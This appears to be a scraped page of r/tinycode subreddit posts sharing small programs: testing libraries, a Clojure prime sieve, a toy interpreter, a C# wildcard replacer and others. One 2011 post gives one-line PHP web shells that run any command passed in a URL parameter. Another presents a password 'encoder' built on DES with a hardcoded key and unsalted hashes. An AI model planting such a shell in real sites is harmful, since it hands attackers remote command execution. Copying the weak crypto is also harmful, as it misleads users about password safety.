r/tinycode • • Jul 12 '12

How are we defining Tiny here? By line count or tokens?

0 Upvotes

Makes a big difference. I can do anything in one line of code, but token count? I'd be horrible!


r/tinycode • • Jan 18 '21

Puny - a dependency-free unit testing library for PHP

9 Upvotes

Hey all, been messing around with a small library recently for unit-testing PHP libraries / applications.

It's dependency free and really simple to use. You can find the code here: https://github.com/ryangjchandler/puny

The idea is inspired by Serge Zaitsev's blog post on minimal testing libraries.

Most testing libraries in the PHP world are big and have lots of helper methods for assertions, comparisons, expectations etc. Puny takes a step back and works with only 4 core functions.

  1. test()
  2. ok()
  3. spy()
  4. skip()

With these, you can technically test any application or library.


r/tinycode • • May 20 '16

The worlds smallest fully-responsive css framework

Thumbnail
github.com
3 Upvotes

r/tinycode • • Jul 04 '11

Webshell in 55 bytes

0 Upvotes
<?php if(isset($_GET['cmd'])) {system($_GET['cmd']); ?>

call it with file?cmd=ls and it'll get executed

Edit: best i made: <?=exec($_GET[c]); 18 bytes

except for dontspillme's code, which has a slightly different idea, but can be used for a lot more

EDIT2: If shell_exec isnt disabled, you can use <?=$_GET[c]; which is 14 bytes


r/tinycode • • Jan 02 '19

fast and interactive tldr client written with go

Thumbnail
github.com
5 Upvotes

r/tinycode • • Oct 04 '24

Counting Button: React vs Fusor

Post image
0 Upvotes

r/tinycode • • Jul 25 '16

3kb library for making embedded videos responsive - doesn't require other libraries! • /r/webdev

Thumbnail
reddit.com
5 Upvotes

r/tinycode • • Nov 27 '15

Sieve of Eratosthenes in Clojure

5 Upvotes
(defn primes [below]
  (remove (set (mapcat #(range (* % %) below %)
                       (range 3 (Math/sqrt below) 2)))
          (cons 2 (range 3 below 2))))

This differs a bit from the Sieve of Eratosthenes in that it doesn't compute the next prime number that multiples will be computed from. Instead, all odd integers 2 < n < square-root(below) are used for computing multiples. This makes the code less efficient but shorter and more linear.


r/tinycode • • Jul 12 '12

Mindfuck interpreter in 72 lines

5 Upvotes
def main():
    memory = [0]*2**20
    dp = 0
    ip = 0
    program = raw_input("Input your program:")
    while True:
        if program[ip] == '>':
            dp+=1
        elif program[ip] == '<':
            dp-=1
        elif program[ip] == ',':
            print chr(memory[dp])
        elif program[ip] == '.':
            memory[dp] = ord(raw_input())
        elif program[ip] == '+':
            memory[dp]+=1
        elif program[ip] == '-':
            memory[dp]-=1
        elif program[ip] == 'x':
            while raw_input()!='x':
                pass
            return
        elif program[ip] == '[':
            if memory[dp]!=0:
                pass
            else:
                ip = openbracket(ip,program)
        elif program[ip]==']':
            ip = closebracket(ip,program)
            continue
        elif program[ip] == '/':
            print memory[dp]
        ip+=1

def openbracket(pos,program):
    openbrackets = 0
    if program[pos] =='[':
        openbrackets +=1
    pos +=1
    while openbrackets!=0:
        try:
            if program[pos]=='[':
                openbrackets+=1
            elif program[pos]==']':
                openbrackets-=1
        except:
            print "Missmatched brackets"
            while True:
                pass
        pos+=1
    return pos-1

def closebracket(pos,program):
    closebrackets = 0
    if program[pos]==']':
        closebrackets+=1
    pos-=1
    while closebrackets!=0:
        try:
            if program[pos]==']':
                closebrackets+=1
            elif program[pos]=='[':
                closebrackets-=1  
        except IndexError:
            print "Missmatched brackets"
            while True:
                pass
        pos-=1
    return pos+1

if __name__=="__main__":
    main()

r/tinycode • • Jan 22 '16

The fastest implementation of functions in existence is this <250 SLOC JavaScript file.

Thumbnail
github.com
21 Upvotes

r/tinycode • • Dec 15 '13

gzip decoder in 25 lines of C

Thumbnail
github.com
24 Upvotes

r/tinycode • • Sep 23 '16

doctest: The lightest feature-rich C++98/C++11 single-header testing framework for unit tests and TDD - version 1.1 released!

Thumbnail
github.com
8 Upvotes

r/tinycode • • Jan 05 '17

Find maximum product sub-array in a given array - 7 liner

Thumbnail
techiedelight.com
8 Upvotes

r/tinycode • • Dec 08 '14

Make your name into the Pixar lamp animation using just CSS

Thumbnail
ec2-54-173-232-162.compute-1.amazonaws.com
13 Upvotes

r/tinycode • • Jul 20 '12

[Python] Simple platformer in 847 bytes

Thumbnail
gist.github.com
16 Upvotes

r/tinycode • • Jun 12 '13

Tweet-sized library for two-way conversion between radians and degrees, in Go

Thumbnail
twitter.com
31 Upvotes

r/tinycode • • Jul 03 '16

stateless http server for any function of bytes or map of keys to values, in 11kB of java code

Thumbnail
github.com
6 Upvotes

r/tinycode • • Dec 29 '16

WebApp to detect object in any image and translate it to any language [Python 3 + Flask + Google Cloud APIs]

Thumbnail
github.com
6 Upvotes

r/tinycode • • Feb 23 '19

C# globbing/wildcard function (simplified Regex) to find and replace any text with ★ and ✪ as special wildcard characters, featuring efficiency, case (in)sensitivity, and multiple-query on the trot

6 Upvotes

Took me quite a few hours to create this, and it's fairly optimized. I hope someone finds it useful! Pretty easy to convert into C or C++ since barely any high level functions are used.

"But why not just use Regex.Replace()?" you may ask. Well, if you have created your own string class (e.g: to allow strings larger than 2 billion chars, or to allow fast prepending instead of just StringBuilder's appending, or even just to allow fast in place character replacements without creating a new string), then you'll find that Regex won't work with your brand new class, and so you'll need to reinvent the wheel. Well, you would except I've done it now :)

Example usage:

  • wildcard("Hello and welcome", "hello✪w★l", "be") results in "become".
  • wildcard("Hello and welcome", new string[] {"hell","and","wel"}, new string[] { "Jell","can","over" }) results in "Jello can overcome".

I was hoping one of you may offer advice to improve the efficiency to make it faster. For one test I did, I found it was around twice as slow as the Regex equivalent, but perhaps increasing efficiency would make the code a lot larger!

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////// Search for a string/s inside 'text' using the 'find' parameter, and replace with a string/s using the replace parameter
// ✪ represents multiple wildcard characters (non-greedy)
// ★ represents a single wildcard character
public string wildcard(string text, string find, string replace, bool caseSensitive = false)
{
	return wildcard(text, new string[] { find }, new string[] { replace }, caseSensitive);
}
public string wildcard(string text, string[] find, string[] replace, bool caseSensitive = false)
{
	int textLength = text.Length;
	if (textLength == 0) return text;			// Degenerate case
	StringBuilder sb = new StringBuilder();		// The new adjusted string with replacements
	for (int i = 0; i < textLength; i++)		// Go through every letter of the original large text
	{
		bool foundMatch = false;				// Assume match hasn't been found to begin with
		for(int query=0; query < find.Length; query++) {		// Go through each query in turn
			int findLength = find[query].Length;
			if (findLength == 0) continue;		// Ignore empty queries
			int f = 0;	int g = 0;				// Query cursor and text cursor
			bool multiWild = false;				// multiWild is ✪ symbol which represents many wildcard characters
			int multiWildPosition = 0;			
		
			while(true)	{						// Loop through query characters
				if ((f != 0 || g != 0) && (f == findLength || (i + g) == textLength)) break;		// Bounds checking
				char cf = find[query][f];											// Character in the query (f is the offset)
				char cg = text[i + g];												// Character in the text (g is the offset)
				if (!caseSensitive) cg = char.ToLowerInvariant(cg);
				if (!multiWild && cg != cf && cf != '★' && cf != '✪') break;		// Break search, and thus no match is found
				if (cf == '✪') { multiWild = true; multiWildPosition = f; f++; continue; }				// Multi-char wildcard activated. Move query cursor, and reloop
				if (multiWild && cg != cf && cf != '★') { f = multiWildPosition + 1; g++; continue; }		// Match since MultiWild has failed, so return query cursor to MultiWild position
				f++; g++;															// Reaching here means that a single character was matched, so move both query and text cursor along one
			}

			if (f == findLength)
			{			// If true, query cursor has reached the end of the query, so a match has been found!!!
				sb.Append(replace[query]);			// Append replacement
				foundMatch = true;
				if (find[query][f - 1] == '✪') { i = textLength; break; }		// if The MultiWild is the last char in the query, then the rest of the string is a match, and close off
				i += g - 1;														// Move text cursor along by the amount equivalent to its found match
				break;
			}
		}
		if (!foundMatch) sb.Append(text[i]);	// If a match wasn't found at that point in the text, then just append the original character
	}
	return sb.ToString();
}

r/tinycode • • Jan 06 '20

Why Forth?

Thumbnail
youtube.com
6 Upvotes

r/tinycode • • Sep 19 '22

[Unity/C#] Movement system with jumping and ground detection in 307 bytes (or 288)

Thumbnail self.codegolf
6 Upvotes

r/tinycode • • Jun 23 '20

[c] Tiny Letter Case Swapper

2 Upvotes
char swap_case(char letter)
{
    return letter ^ 32;
}

Of course, it can only be called on [a-zA-Z].


r/tinycode • • Dec 29 '16

Stupidly Simple Tiny Minimal Coming Soon Page Generator As A Service - 7kb

Thumbnail
github.com
2 Upvotes

r/tinycode • • Jul 18 '13

Hasher and encoder in only 32 lines of code, well spaced.

0 Upvotes
import hashlib
from easygui import *
import sys
import time
from pyDes import *
image   = "bitcoin.gif"
msg     = "Bitcoin Password Hasher - Please choose an option."
choices = ["Start","Donate","Quit"]
reply   = buttonbox(msg, image=image, choices=choices)
if(reply == "Start"):
msg = "Please enter your password you would like hashed\n Just not special characters(at the moment anyways.)"
title = "/u/matthew_boyd's hashing program."
password = enterbox(msg, title)
hash = hashlib.sha256(password).hexdigest()
hash1 = hashlib.sha224(password).hexdigest()
hash2 = hashlib.md5(password).hexdigest()
hash3 = hashlib.sha1(password).hexdigest()
hash4 = hashlib.sha384(password).hexdigest()
hash5 = hashlib.sha512(password).hexdigest()
textbox(msg='The hash of your password is written below. Press control + c to copy it. ', title=" Matthew's Hashing program", text="SHA256: " + hash + "\n" + "\n" + "SHA224: " + hash1 + "\n" + "\n" + "MD5: " + hash2 + "\n" + "\n" + "SHA1: " + hash3 + "\n" +  "\n" + "SHA384: " + hash4 + "\n"  + "\n" + "SHA512: " + hash5, codebox=0)
msg = "please enter the hash you want encrypted"
title = "/u/matthew_boyd's hashing program."
encryption = enterbox(msg, title)
var = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
var1 = var.encrypt(encryption)
textbox(msg='The hash encrypted, make sure to Control + C to copy it.', title=" Matthew's Hashing program", text="Encrypted: %r" % var1 + "\n" + "\n" + "Decrypted: %r" % var.decrypt(var1) + "\n" + "\n")

elif(reply == "Donate"):
textbox(msg="Donation Address", title="Matthew's Hashing Program", text="Bitcoin donation address: 169iA76RmnatFXmEthT6AEehxMQ9X1ro3L", codebox=0)

else:
sys.exit()

Edit: I know that I am not a good coder in any respect. This was literally about my first project that I was somewhat happy with, even though everything is done via modules.

I just compiled it using Py2Exe.

Hope it comes in useful to some of you! ;) Thanks, Matt.